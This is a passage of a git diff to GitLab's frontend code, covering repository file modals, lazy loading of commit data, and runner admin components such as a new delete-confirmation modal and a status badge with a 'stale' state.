- type: String,
- required: true,
- },
- readOnly: {
- type: Boolean,
- required: true,
- },
- },
-};
-</script>
-<template>
- <source-editor :value="content" :file-name="fileName" :editor-options="{ readOnly }" />
-</template>
diff --git a/app/assets/javascripts/repository/components/delete_blob_modal.vue b/app/assets/javascripts/repository/components/delete_blob_modal.vue
index 4a8cedb60b4..0d3dc06c2c8 100644
--- a/app/assets/javascripts/repository/components/delete_blob_modal.vue
+++ b/app/assets/javascripts/repository/components/delete_blob_modal.vue
@@ -71,6 +71,10 @@ export default {
type: Boolean,
required: true,
},
+ canPushToBranch: {
+ type: Boolean,
+ required: true,
+ },
emptyRepo: {
type: Boolean,
required: true,
@@ -176,9 +180,12 @@ export default {
</template>
<template v-else>
<input type="hidden" name="original_branch" :value="originalBranch" />
- <!-- Once "push to branch" permission is made available, will need to add to conditional
- Follow-up issue: https://gitlab.com/gitlab-org/gitlab/-/issues/335462 -->
- <input v-if="createNewMr" type="hidden" name="create_merge_request" value="1" />
+ <input
+ v-if="createNewMr || !canPushToBranch"
+ type="hidden"
+ name="create_merge_request"
+ value="1"
+ />
<gl-form-group
:label="$options.i18n.COMMIT_LABEL"
label-for="commit_message"
@@ -188,6 +195,7 @@ export default {
v-model="form.fields['commit_message'].value"
v-validation:[form.showValidation]
name="commit_message"
+ data-qa-selector="commit_message_field"
:state="form.fields['commit_message'].state"
:disabled="loading"
required
diff --git a/app/assets/javascripts/repository/components/last_commit.vue b/app/assets/javascripts/repository/components/last_commit.vue
index 62066973ee6..43e114a91d3 100644
--- a/app/assets/javascripts/repository/components/last_commit.vue
+++ b/app/assets/javascripts/repository/components/last_commit.vue
@@ -111,7 +111,7 @@ export default {
</script>
<template>
- <div class="info-well d-none d-sm-flex project-last-commit commit p-3">
+ <div class="well-segment commit gl-p-5 gl-w-full">
<gl-loading-icon v-if="isLoading" size="md" color="dark" class="m-auto" />
<template v-else-if="commit">
<user-avatar-link
diff --git a/app/assets/javascripts/repository/components/table/row.vue b/app/assets/javascripts/repository/components/table/row.vue
index bd06c064ab7..8fcec5fb893 100644
--- a/app/assets/javascripts/repository/components/table/row.vue
+++ b/app/assets/javascripts/repository/components/table/row.vue
@@ -13,7 +13,7 @@ import {
import { escapeRegExp } from 'lodash';
import paginatedTreeQuery from 'shared_queries/repository/paginated_tree.query.graphql';
import { escapeFileUrl } from '~/lib/utils/url_utility';
-import { TREE_PAGE_SIZE } from '~/repository/constants';
+import { TREE_PAGE_SIZE, ROW_APPEAR_DELAY } from '~/repository/constants';
import FileIcon from '~/vue_shared/components/file_icon.vue';
import TimeagoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
@@ -128,6 +128,7 @@ export default {
return {
commit: null,
hasRowAppeared: false,
+ delayedRowAppear: null,
};
},
computed: {
@@ -202,14 +203,19 @@ export default {
rowAppeared() {
this.hasRowAppeared = true;
+ if (this.commitInfo) {
+ return;
+ }
+
if (this.glFeatures.lazyLoadCommits) {
- this.$emit('row-appear', {
- rowNumber: this.rowNumber,
- hasCommit: Boolean(this.commitInfo),
- });
+ this.delayedRowAppear = setTimeout(
+ () => this.$emit('row-appear', this.rowNumber),
+ ROW_APPEAR_DELAY,
+ );
}
},
rowDisappeared() {
+ clearTimeout(this.delayedRowAppear);
this.hasRowAppeared = false;
},
},
diff --git a/app/assets/javascripts/repository/components/tree_content.vue b/app/assets/javascripts/repository/components/tree_content.vue
index ffe8d5531f8..130ebf77361 100644
--- a/app/assets/javascripts/repository/components/tree_content.vue
+++ b/app/assets/javascripts/repository/components/tree_content.vue
@@ -3,7 +3,12 @@ import paginatedTreeQuery from 'shared_queries/repository/paginated_tree.query.g
import createFlash from '~/flash';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { __ } from '../../locale';
-import { TREE_PAGE_SIZE, TREE_INITIAL_FETCH_COUNT, TREE_PAGE_LIMIT } from '../constants';
+import {
+ TREE_PAGE_SIZE,
+ TREE_INITIAL_FETCH_COUNT,
+ TREE_PAGE_LIMIT,
+ COMMIT_BATCH_SIZE,
+} from '../constants';
import getRefMixin from '../mixins/get_ref';
import projectPathQuery from '../queries/project_path.query.graphql';
import { readmeFile } from '../utils/readme';
@@ -151,11 +156,19 @@ export default {
.concat(data.trees.pageInfo, data.submodules.pageInfo, data.blobs.pageInfo)
.find(({ hasNextPage }) => hasNextPage);
},
- loadCommitData({ rowNumber = 0, hasCommit } = {}) {
- if (!this.glFeatures.lazyLoadCommits || hasCommit || isRequested(rowNumber)) {
+ handleRowAppear(rowNumber) {
+ if (!this.glFeatures.lazyLoadCommits || isRequested(rowNumber)) {
return;
}
+ // Since a user could scroll either up or down, we want to support lazy loading in both directions
+ this.loadCommitData(rowNumber);
+
+ if (rowNumber - COMMIT_BATCH_SIZE >= 0) {
+ this.loadCommitData(rowNumber - COMMIT_BATCH_SIZE);
+ }
+ },
+ loadCommitData(rowNumber) {
loadCommits(this.projectPath, this.path, this.ref, rowNumber)
.then(this.setCommitData)
.catch(() => {});
@@ -182,7 +195,7 @@ export default {
:has-more="hasShowMore"
:commits="commits"
@showMore="handleShowMore"
- @row-appear="loadCommitData"
+ @row-appear="handleRowAppear"
/>
<file-preview v-if="readme" :blob="readme" />
</div>
diff --git a/app/assets/javascripts/repository/components/upload_blob_modal.vue b/app/assets/javascripts/repository/components/upload_blob_modal.vue
index 11e5b5608cb..b56c9ce5247 100644
--- a/app/assets/javascripts/repository/components/upload_blob_modal.vue
+++ b/app/assets/javascripts/repository/components/upload_blob_modal.vue
@@ -24,10 +24,10 @@ import {
} from '../constants';
const PRIMARY_OPTIONS_TEXT = __('Upload file');
-const MODAL_TITLE = __('Upload New File');
+const MODAL_TITLE = __('Upload new file');
const REMOVE_FILE_TEXT = __('Remove file');
const NEW_BRANCH_IN_FORK = __(
- 'A new branch will be created in your fork and a new merge request will be started.',
+ 'GitLab will create a branch in your fork and start a merge request.',
);
const ERROR_MESSAGE = __('Error uploading file. Please try again.');
diff --git a/app/assets/javascripts/repository/constants.js b/app/assets/javascripts/repository/constants.js
index 152fabbd7cc..d01757d6141 100644
--- a/app/assets/javascripts/repository/constants.js
+++ b/app/assets/javascripts/repository/constants.js
@@ -11,7 +11,7 @@ export const COMMIT_LABEL = __('Commit message');
export const TARGET_BRANCH_LABEL = __('Target branch');
export const TOGGLE_CREATE_MR_LABEL = __('Start a new merge request with these changes');
export const NEW_BRANCH_IN_FORK = __(
- 'A new branch will be created in your fork and a new merge request will be started.',
+ 'GitLab will create a branch in your fork and start a merge request.',
);
export const COMMIT_MESSAGE_SUBJECT_MAX_LENGTH = 52;
@@ -20,3 +20,8 @@ export const COMMIT_MESSAGE_BODY_MAX_LENGTH = 72;
export const LIMITED_CONTAINER_WIDTH_CLASS = 'limit-container-width';
export const I18N_COMMIT_DATA_FETCH_ERROR = __('An error occurred while fetching commit data.');
+
+export const PDF_MAX_FILE_SIZE = 10000000; // 10 MB
+export const PDF_MAX_PAGE_LIMIT = 50;
+
+export const ROW_APPEAR_DELAY = 150;
diff --git a/app/assets/javascripts/repository/index.js b/app/assets/javascripts/repository/index.js
index 45e026ad695..197b19387cf 100644
--- a/app/assets/javascripts/repository/index.js
+++ b/app/assets/javascripts/repository/index.js
@@ -188,5 +188,5 @@ export default function setupVueRepositoryList() {
},
});
- return { router, data: dataset };
+ return { router, data: dataset, apolloProvider, projectPath };
}
diff --git a/app/assets/javascripts/repository/mutations/lock_path.mutation.graphql b/app/assets/javascripts/repository/mutations/lock_path.mutation.graphql
index eaebc4ddf17..0851564bb24 100644
--- a/app/assets/javascripts/repository/mutations/lock_path.mutation.graphql
+++ b/app/assets/javascripts/repository/mutations/lock_path.mutation.graphql
@@ -4,6 +4,7 @@ mutation toggleLock($projectPath: ID!, $filePath: String!, $lock: Boolean!) {
id
pathLocks {
nodes {
+ id
path
}
}
diff --git a/app/assets/javascripts/repository/pages/tree.vue b/app/assets/javascripts/repository/pages/tree.vue
index cbdc62624d4..6bf674eb3f1 100644
--- a/app/assets/javascripts/repository/pages/tree.vue
+++ b/app/assets/javascripts/repository/pages/tree.vue
@@ -1,5 +1,5 @@
<script>
-import TreeContent from '../components/tree_content.vue';
+import TreeContent from 'jh_else_ce/repository/components/tree_content.vue';
import preloadMixin from '../mixins/preload';
import { updateElementsVisibility } from '../utils/dom';
diff --git a/app/assets/javascripts/repository/queries/blob_info.query.graphql b/app/assets/javascripts/repository/queries/blob_info.query.graphql
index cf3892802fd..45d1ba80917 100644
--- a/app/assets/javascripts/repository/queries/blob_info.query.graphql
+++ b/app/assets/javascripts/repository/queries/blob_info.query.graphql
@@ -9,13 +9,19 @@ query getBlobInfo($projectPath: ID!, $filePath: String!, $ref: String!) {
}
pathLocks {
nodes {
+ id
path
+ user {
+ id
+ username
+ }
}
}
repository {
empty
blobs(paths: [$filePath], ref: $ref) {
nodes {
+ id
webPath
name
size
@@ -28,6 +34,7 @@ query getBlobInfo($projectPath: ID!, $filePath: String!, $ref: String!) {
forkAndEditPath
ideForkAndEditPath
canModifyBlob
+ canCurrentUserPushToBranch
storedExternally
rawPath
replacePath
diff --git a/app/assets/javascripts/right_sidebar.js b/app/assets/javascripts/right_sidebar.js
index 3c8533dd06d..ee9533bbec3 100644
--- a/app/assets/javascripts/right_sidebar.js
+++ b/app/assets/javascripts/right_sidebar.js
@@ -3,7 +3,6 @@
import $ from 'jquery';
import Cookies from 'js-cookie';
import { hide, fixTitle } from '~/tooltips';
-import { DEBOUNCE_DROPDOWN_DELAY } from '~/vue_shared/components/sidebar/labels_select_widget/constants';
import createFlash from './flash';
import axios from './lib/utils/axios_utils';
import { sprintf, s__, __ } from './locale';
@@ -127,14 +126,6 @@ Sidebar.prototype.openDropdown = function (blockOrName) {
this.setCollapseAfterUpdate($block);
this.toggleSidebar('open');
}
-
- // Wait for the sidebar to trigger('click') open
- // so it doesn't cause our dropdown to close preemptively
- setTimeout(() => {
- if (!gon.features?.labelsWidget && !$block.hasClass('labels-select-wrapper')) {
- $block.find('.js-sidebar-dropdown-toggle').trigger('click');
- }
- }, DEBOUNCE_DROPDOWN_DELAY);
};
Sidebar.prototype.setCollapseAfterUpdate = function ($block) {
diff --git a/app/assets/javascripts/runner/admin_runners/admin_runners_app.vue b/app/assets/javascripts/runner/admin_runners/admin_runners_app.vue
index 3edb658eaf5..f8220553db6 100644
--- a/app/assets/javascripts/runner/admin_runners/admin_runners_app.vue
+++ b/app/assets/javascripts/runner/admin_runners/admin_runners_app.vue
@@ -3,12 +3,12 @@ import { GlBadge, GlLink } from '@gitlab/ui';
import createFlash from '~/flash';
import { fetchPolicies } from '~/lib/graphql';
import { updateHistory } from '~/lib/utils/url_utility';
-import { sprintf, __ } from '~/locale';
import RegistrationDropdown from '../components/registration/registration_dropdown.vue';
import RunnerFilteredSearchBar from '../components/runner_filtered_search_bar.vue';
import RunnerList from '../components/runner_list.vue';
import RunnerName from '../components/runner_name.vue';
+import RunnerOnlineStat from '../components/stat/runner_online_stat.vue';
import RunnerPagination from '../components/runner_pagination.vue';
import RunnerTypeTabs from '../components/runner_type_tabs.vue';
@@ -38,6 +38,7 @@ export default {
RunnerFilteredSearchBar,
RunnerList,
RunnerName,
+ RunnerOnlineStat,
RunnerPagination,
RunnerTypeTabs,
},
@@ -110,17 +111,12 @@ export default {
noRunnersFound() {
return !this.runnersLoading && !this.runners.items.length;
},
- activeRunnersMessage() {
- return sprintf(__('Runners currently online: %{active_runners_count}'), {
- active_runners_count: this.activeRunnersCount,
- });
- },
searchTokens() {
return [
statusTokenConfig,
{
...tagTokenConfig,
- recentTokenValuesStorageKey: `${this.$options.filteredSearchNamespace}-recent-tags`,
+ recentSuggestionsStorageKey: `${this.$options.filteredSearchNamespace}-recent-tags`,
},
];
},
@@ -165,6 +161,8 @@ export default {
</script>
<template>
<div>
+ <runner-online-stat class="gl-py-6 gl-px-5" :value="activeRunnersCount" />
+
<div
class="gl-display-flex gl-align-items-center gl-flex-direction-column-reverse gl-md-flex-direction-row gl-mt-3 gl-md-mt-0"
>
@@ -194,11 +192,7 @@ export default {
v-model="search"
:tokens="searchTokens"
:namespace="$options.filteredSearchNamespace"
- >
- <template #runner-count>
- {{ activeRunnersMessage }}
- </template>
- </runner-filtered-search-bar>
+ />
<div v-if="noRunnersFound" class="gl-text-center gl-p-5">
{{ __('No runners found') }}
diff --git a/app/assets/javascripts/runner/components/cells/runner_actions_cell.vue b/app/assets/javascripts/runner/components/cells/runner_actions_cell.vue
index c4bddb7b398..33f7a67aba4 100644
--- a/app/assets/javascripts/runner/components/cells/runner_actions_cell.vue
+++ b/app/assets/javascripts/runner/components/cells/runner_actions_cell.vue
@@ -1,27 +1,29 @@
<script>
-import { GlButton, GlButtonGroup, GlTooltipDirective } from '@gitlab/ui';
+import { GlButton, GlButtonGroup, GlModalDirective, GlTooltipDirective } from '@gitlab/ui';
import createFlash from '~/flash';
-import { __, s__ } from '~/locale';
+import { __, s__, sprintf } from '~/locale';
import runnerDeleteMutation from '~/runner/graphql/runner_delete.mutation.graphql';
import runnerActionsUpdateMutation from '~/runner/graphql/runner_actions_update.mutation.graphql';
import { captureException } from '~/runner/sentry_utils';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import RunnerDeleteModal from '../runner_delete_modal.vue';
-const i18n = {
- I18N_EDIT: __('Edit'),
- I18N_PAUSE: __('Pause'),
- I18N_RESUME: __('Resume'),
- I18N_REMOVE: __('Remove'),
- I18N_REMOVE_CONFIRMATION: s__('Runners|Are you sure you want to delete this runner?'),
-};
+const I18N_EDIT = __('Edit');
+const I18N_PAUSE = __('Pause');
+const I18N_RESUME = __('Resume');
+const I18N_DELETE = s__('Runners|Delete runner');
+const I18N_DELETED_TOAST = s__('Runners|Runner %{name} was deleted');
export default {
name: 'RunnerActionsCell',
components: {
GlButton,
GlButtonGroup,
+ RunnerDeleteModal,
},
directives: {
GlTooltip: GlTooltipDirective,
+ GlModal: GlModalDirective,
},
props: {
runner: {
@@ -48,21 +50,29 @@ export default {
// mouseout listeners don't run leaving the tooltip stuck
return '';
}
- return this.isActive ? i18n.I18N_PAUSE : i18n.I18N_RESUME;
+ return this.isActive ? I18N_PAUSE : I18N_RESUME;
},
deleteTitle() {
- // Prevent a "sticky" tooltip: If element gets removed,
- // mouseout listeners don't run and leaving the tooltip stuck
- return this.deleting ? '' : i18n.I18N_REMOVE;
+ if (this.deleting) {
+ // Prevent a "sticky" tooltip: If this button is disabled,
+ // mouseout listeners don't run leaving the tooltip stuck
+ return '';
+ }
+ return I18N_DELETE;
+ },
+ runnerId() {
+ return getIdFromGraphQLId(this.runner.id);
+ },
+ runnerName() {
+ return `#${this.runnerId} (${this.runner.shortSha})`;
+ },
+ runnerDeleteModalId() {
+ return `delete-runner-modal-${this.runnerId}`;
},
},
methods: {
async onToggleActive() {
this.updating = true;
- // TODO In HAML iteration we had a confirmation modal via:
- // data-confirm="_('Are you sure?')"
- // this may not have to ported, this is an easily reversible operation
-
try {
const toggledActive = !this.runner.active;
@@ -91,12 +101,8 @@ export default {
},
async onDelete() {
- // TODO Replace confirmation with gl-modal
- // eslint-disable-next-line no-alert
- if (!window.confirm(i18n.I18N_REMOVE_CONFIRMATION)) {
- return;
- }
-
+ // Deleting stays "true" until this row is removed,
+ // should only change back if the operation fails.
this.deleting = true;
try {
const {
@@ -115,11 +121,13 @@ export default {
});
if (errors && errors.length) {
throw new Error(errors.join(' '));
+ } else {
+ // Use $root to have the toast message stay after this element is removed
+ this.$root.$toast?.show(sprintf(I18N_DELETED_TOAST, { name: this.runnerName }));
}
} catch (e) {
- this.onError(e);
- } finally {
this.deleting = false;
+ this.onError(e);
}
},
@@ -133,14 +141,15 @@ export default {
captureException({ error, component: this.$options.name });
},
},
- i18n,
+ I18N_EDIT,
+ I18N_DELETE,
};
</script>
<template>
<gl-button-group>
<!--
- This button appears for administratos: those with
+ This button appears for administrators: those with
access to the adminUrl. More advanced permissions policies
will allow more granular permissions.
@@ -148,16 +157,14 @@ export default {
-->
<gl-button
v-if="runner.adminUrl"
- v-gl-tooltip.hover.viewport
+ v-gl-tooltip.hover.viewport="$options.I18N_EDIT"
:href="runner.adminUrl"
- :title="$options.i18n.I18N_EDIT"
- :aria-label="$options.i18n.I18N_EDIT"
+ :aria-label="$options.I18N_EDIT"
icon="pencil"
data-testid="edit-runner"
/>
<gl-button
- v-gl-tooltip.hover.viewport
- :title="toggleActiveTitle"
+ v-gl-tooltip.hover.viewport="toggleActiveTitle"
:aria-label="toggleActiveTitle"
:icon="toggleActiveIcon"
:loading="updating"
@@ -165,14 +172,20 @@ export default {
@click="onToggleActive"
/>
<gl-button
- v-gl-tooltip.hover.viewport
- :title="deleteTitle"
+ v-gl-tooltip.hover.viewport="deleteTitle"
+ v-gl-modal="runnerDeleteModalId"
:aria-label="deleteTitle"
icon="close"
:loading="deleting"
variant="danger"
data-testid="delete-runner"
- @click="onDelete"
+ />
+
+ <runner-delete-modal
+ :ref="runnerDeleteModalId"
+ :modal-id="runnerDeleteModalId"
+ :runner-name="runnerName"
+ @primary="onDelete"
/>
</gl-button-group>
</template>
diff --git a/app/assets/javascripts/runner/components/cells/runner_status_cell.vue b/app/assets/javascripts/runner/components/cells/runner_status_cell.vue
index 9ba1192bc8c..473cd7e9794 100644
--- a/app/assets/javascripts/runner/components/cells/runner_status_cell.vue
+++ b/app/assets/javascripts/runner/components/cells/runner_status_cell.vue
@@ -1,14 +1,12 @@
<script>
import { GlTooltipDirective } from '@gitlab/ui';
-import RunnerContactedStateBadge from '../runner_contacted_state_badge.vue';
+import RunnerStatusBadge from '../runner_status_badge.vue';
import RunnerPausedBadge from '../runner_paused_badge.vue';
-import { I18N_LOCKED_RUNNER_DESCRIPTION, I18N_PAUSED_RUNNER_DESCRIPTION } from '../../constants';
-
export default {
components: {
- RunnerContactedStateBadge,
+ RunnerStatusBadge,
RunnerPausedBadge,
},
directives: {
@@ -25,16 +23,12 @@ export default {
return !this.runner.active;
},
},
- i18n: {
- I18N_LOCKED_RUNNER_DESCRIPTION,
- I18N_PAUSED_RUNNER_DESCRIPTION,
- },
};
</script>
<template>
<div>
- <runner-contacted-state-badge :runner="runner" size="sm" />
+ <runner-status-badge :runner="runner" size="sm" />
<runner-paused-badge v-if="paused" size="sm" />
</div>
</template>
diff --git a/app/assets/javascripts/runner/components/cells/runner_summary_cell.vue b/app/assets/javascripts/runner/components/cells/runner_summary_cell.vue
index 3b476997915..937ec631633 100644
--- a/app/assets/javascripts/runner/components/cells/runner_summary_cell.vue
+++ b/app/assets/javascripts/runner/components/cells/runner_summary_cell.vue
@@ -1,7 +1,7 @@
<script>
import { GlIcon, GlTooltipDirective } from '@gitlab/ui';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
import RunnerName from '../runner_name.vue';
import RunnerTypeBadge from '../runner_type_badge.vue';
diff --git a/app/assets/javascripts/runner/components/runner_contacted_state_badge.vue b/app/assets/javascripts/runner/components/runner_contacted_state_badge.vue
deleted file mode 100644
index b4727f832f8..00000000000
--- a/app/assets/javascripts/runner/components/runner_contacted_state_badge.vue
+++ /dev/null
@@ -1,69 +0,0 @@
-<script>
-import { GlBadge, GlTooltipDirective } from '@gitlab/ui';
-import { s__, sprintf } from '~/locale';
-import { getTimeago } from '~/lib/utils/datetime_utility';
-import {
- I18N_ONLINE_RUNNER_DESCRIPTION,
- I18N_OFFLINE_RUNNER_DESCRIPTION,
- I18N_NOT_CONNECTED_RUNNER_DESCRIPTION,
- STATUS_ONLINE,
- STATUS_OFFLINE,
- STATUS_NOT_CONNECTED,
-} from '../constants';
-
-export default {
- components: {
- GlBadge,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- props: {
- runner: {
- required: true,
- type: Object,
- },
- },
- computed: {
- contactedAtTimeAgo() {
- if (this.runner.contactedAt) {
- return getTimeago().format(this.runner.contactedAt);
- }
- return null;
- },
- badge() {
- switch (this.runner.status) {
- case STATUS_ONLINE:
- return {
- variant: 'success',
- label: s__('Runners|online'),
- tooltip: sprintf(I18N_ONLINE_RUNNER_DESCRIPTION, {
- timeAgo: this.contactedAtTimeAgo,
- }),
- };
- case STATUS_OFFLINE:
- return {
- variant: 'muted',
- label: s__('Runners|offline'),
- tooltip: sprintf(I18N_OFFLINE_RUNNER_DESCRIPTION, {
- timeAgo: this.contactedAtTimeAgo,
- }),
- };
- case STATUS_NOT_CONNECTED:
- return {
- variant: 'muted',
- label: s__('Runners|not connected'),
- tooltip: I18N_NOT_CONNECTED_RUNNER_DESCRIPTION,
- };
- default:
- return null;
- }
- },
- },
-};
-</script>
-<template>
- <gl-badge v-if="badge" v-gl-tooltip="badge.tooltip" :variant="badge.variant" v-bind="$attrs">
- {{ badge.label }}
- </gl-badge>
-</template>
diff --git a/app/assets/javascripts/runner/components/runner_delete_modal.vue b/app/assets/javascripts/runner/components/runner_delete_modal.vue
new file mode 100644
index 00000000000..8be216a7eb5
--- /dev/null
+++ b/app/assets/javascripts/runner/components/runner_delete_modal.vue
@@ -0,0 +1,51 @@
+<script>
+import { GlModal } from '@gitlab/ui';
+import { __, s__, sprintf } from '~/locale';
+
+const I18N_TITLE = s__('Runners|Delete runner %{name}?');
+const I18N_BODY = s__(
+ 'Runners|The runner will be permanently deleted and no longer available for projects or groups in the instance. Are you sure you want to continue?',
+);
+const I18N_PRIMARY = s__('Runners|Delete runner');
+const I18N_CANCEL = __('Cancel');
+
+export default {
+ components: {
+ GlModal,
+ },
+ props: {
+ runnerName: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ title() {
+ return sprintf(I18N_TITLE, { name: this.runnerName });
+ },
+ },
+ methods: {
+ onPrimary() {
+ this.$refs.modal.hide();
+ },
+ },
+ actionPrimary: { text: I18N_PRIMARY, attributes: { variant: 'danger' } },
+ actionCancel: { text: I18N_CANCEL },
+ I18N_BODY,
+};
+</script>
+
+<template>
+ <gl-modal
+ ref="modal"
+ size="sm"
+ :title="title"
+ :action-primary="$options.actionPrimary"
+ :action-cancel="$options.actionCancel"
+ v-bind="$attrs"
+ v-on="$listeners"
+ @primary="onPrimary"
+ >
+ {{ $options.I18N_BODY }}
+ </gl-modal>
+</template>
diff --git a/app/assets/javascripts/runner/components/runner_filtered_search_bar.vue b/app/assets/javascripts/runner/components/runner_filtered_search_bar.vue
index a9dfec35479..f0f8bbdf5df 100644
--- a/app/assets/javascripts/runner/components/runner_filtered_search_bar.vue
+++ b/app/assets/javascripts/runner/components/runner_filtered_search_bar.vue
@@ -76,24 +76,18 @@ export default {
};
</script>
<template>
- <div
+ <filtered-search
class="gl-bg-gray-10 gl-p-5 gl-border-solid gl-border-gray-100 gl-border-0 gl-border-t-1 gl-border-b-1"
- >
- <filtered-search
- v-bind="$attrs"
- :namespace="namespace"
- recent-searches-storage-key="runners-search"
- :sort-options="$options.sortOptions"
- :initial-filter-value="initialFilterValue"
- :tokens="tokens"
- :initial-sort-by="initialSortBy"
- :search-input-placeholder="__('Search or filter results...')"
- data-testid="runners-filtered-search"
- @onFilter="onFilter"
- @onSort="onSort"
- />
- <div class="gl-text-right" data-testid="runner-count">
- <slot name="runner-count"></slot>
- </div>
- </div>
+ v-bind="$attrs"
+ :namespace="namespace"
+ recent-searches-storage-key="runners-search"
+ :sort-options="$options.sortOptions"
+ :initial-filter-value="initialFilterValue"
+ :tokens="tokens"
+ :initial-sort-by="initialSortBy"
+ :search-input-placeholder="__('Search or filter results...')"
+ data-testid="runners-filtered-search"
+ @onFilter="onFilter"
+ @onSort="onSort"
+ />
</template>
diff --git a/app/assets/javascripts/runner/components/runner_list.vue b/app/assets/javascripts/runner/components/runner_list.vue
index f8dbc469c22..023308dbac2 100644
--- a/app/assets/javascripts/runner/components/runner_list.vue
+++ b/app/assets/javascripts/runner/components/runner_list.vue
@@ -1,27 +1,26 @@
<script>
import { GlTable, GlTooltipDirective, GlSkeletonLoader } from '@gitlab/ui';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { __, s__ } from '~/locale';
+import { formatNumber, __, s__ } from '~/locale';
import TimeAgo from '~/vue_shared/components/time_ago_tooltip.vue';
+import { RUNNER_JOB_COUNT_LIMIT } from '../constants';
import RunnerActionsCell from './cells/runner_actions_cell.vue';
import RunnerSummaryCell from './cells/runner_summary_cell.vue';
import RunnerStatusCell from './cells/runner_status_cell.vue';
import RunnerTags from './runner_tags.vue';
-const tableField = ({ key, label = '', width = 10 }) => {
+const tableField = ({ key, label = '', thClasses = [] }) => {
return {
key,
label,
thClass: [
- `gl-w-${width}p`,
'gl-bg-transparent!',
'gl-border-b-solid!',
'gl-border-b-gray-100!',
- 'gl-py-5!',
- 'gl-px-0!',
'gl-border-b-1!',
+ ...thClasses,
],
- tdClass: ['gl-py-5!', 'gl-px-1!'],
tdAttr: {
'data-testid': `td-${key}`,
},
@@ -32,6 +31,7 @@ export default {
components: {
GlTable,
GlSkeletonLoader,
+ TooltipOnTruncate,
TimeAgo,
RunnerActionsCell,
RunnerSummaryCell,
@@ -53,6 +53,12 @@ export default {
},
},
methods: {
+ formatJobCount(jobCount) {
+ if (jobCount > RUNNER_JOB_COUNT_LIMIT) {
+ return `${formatNumber(RUNNER_JOB_COUNT_LIMIT)}+`;
+ }
+ return formatNumber(jobCount);
+ },
runnerTrAttr(runner) {
if (runner) {
return {
@@ -64,10 +70,11 @@ export default {
},
fields: [
tableField({ key: 'status', label: s__('Runners|Status') }),
- tableField({ key: 'summary', label: s__('Runners|Runner ID'), width: 30 }),
+ tableField({ key: 'summary', label: s__('Runners|Runner ID'), thClasses: ['gl-lg-w-25p'] }),
tableField({ key: 'version', label: __('Version') }),
tableField({ key: 'ipAddress', label: __('IP Address') }),
- tableField({ key: 'tagList', label: __('Tags'), width: 20 }),
+ tableField({ key: 'jobCount', label: __('Jobs') }),
+ tableField({ key: 'tagList', label: __('Tags'), thClasses: ['gl-lg-w-25p'] }),
tableField({ key: 'contactedAt', label: __('Last contact') }),
tableField({ key: 'actions', label: '' }),
],
@@ -82,6 +89,7 @@ export default {
:tbody-tr-attr="runnerTrAttr"
data-testid="runner-list"
stacked="md"
+ primary-key="id"
fixed
>
<template v-if="!runners.length" #table-busy>
@@ -101,11 +109,19 @@ export default {
</template>
<template #cell(version)="{ item: { version } }">
- {{ version }}
+ <tooltip-on-truncate class="gl-display-block gl-text-truncate" :title="version">
+ {{ version }}
+ </tooltip-on-truncate>
</template>
<template #cell(ipAddress)="{ item: { ipAddress } }">
- {{ ipAddress }}
+ <tooltip-on-truncate class="gl-display-block gl-text-truncate" :title="ipAddress">
+ {{ ipAddress }}
+ </tooltip-on-truncate>
+ </template>
+
+ <template #cell(jobCount)="{ item: { jobCount } }">
+ {{ formatJobCount(jobCount) }}
</template>
<template #cell(tagList)="{ item: { tagList } }">
diff --git a/app/assets/javascripts/runner/components/runner_status_badge.vue b/app/assets/javascripts/runner/components/runner_status_badge.vue
new file mode 100644
index 00000000000..0823876a187
--- /dev/null
+++ b/app/assets/javascripts/runner/components/runner_status_badge.vue
@@ -0,0 +1,80 @@
+<script>
+import { GlBadge, GlTooltipDirective } from '@gitlab/ui';
+import { __, s__, sprintf } from '~/locale';
+import { getTimeago } from '~/lib/utils/datetime_utility';
+import {
+ I18N_ONLINE_RUNNER_TIMEAGO_DESCRIPTION,
+ I18N_NOT_CONNECTED_RUNNER_DESCRIPTION,
+ I18N_OFFLINE_RUNNER_TIMEAGO_DESCRIPTION,
+ I18N_STALE_RUNNER_DESCRIPTION,
+ STATUS_ONLINE,
+ STATUS_NOT_CONNECTED,
+ STATUS_NEVER_CONTACTED,
+ STATUS_OFFLINE,
+ STATUS_STALE,
+} from '../constants';
+
+export default {
+ components: {
+ GlBadge,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ runner: {
+ required: true,
+ type: Object,
+ },
+ },
+ computed: {
+ contactedAtTimeAgo() {
+ if (this.runner.contactedAt) {
+ return getTimeago().format(this.runner.contactedAt);
+ }
+ // Prevent "just now" from being rendered, in case data is missing.
+ return __('n/a');
+ },
+ badge() {
+ switch (this.runner?.status) {
+ case STATUS_ONLINE:
+ return {
+ variant: 'success',
+ label: s__('Runners|online'),
+ tooltip: sprintf(I18N_ONLINE_RUNNER_TIMEAGO_DESCRIPTION, {
+ timeAgo: this.contactedAtTimeAgo,
+ }),
+ };
+ case STATUS_NOT_CONNECTED:
+ case STATUS_NEVER_CONTACTED:
+ return {
+ variant: 'muted',
+ label: s__('Runners|not connected'),
+ tooltip: I18N_NOT_CONNECTED_RUNNER_DESCRIPTION,
+ };
+ case STATUS_OFFLINE:
+ return {
+ variant: 'muted',
+ label: s__('Runners|offline'),
+ tooltip: sprintf(I18N_OFFLINE_RUNNER_TIMEAGO_DESCRIPTION, {
+ timeAgo: this.contactedAtTimeAgo,
+ }),
+ };
+ case STATUS_STALE:
+ return {
+ variant: 'warning',
+ label: s__('Runners|stale'),
+ tooltip: I18N_STALE_RUNNER_DESCRIPTION,
+ };
+ default:
+ return null;
+ }
+ },
+ },
+};
+</script>
+<template>
+ <gl-badge v-if="badge" v-gl-tooltip="badge.tooltip" :variant="badge.variant" v-bind="$attrs">
+ {{ badge.label }}
+ </gl-badge>
+</template>
diff --git a/app/assets/javascripts/runner/components/search_tokens/status_token_config.js b/app/assets/javascripts/runner/components/search_tokens/status_token_config.js
index 9963048ae1d..4b356fa47ed 100644
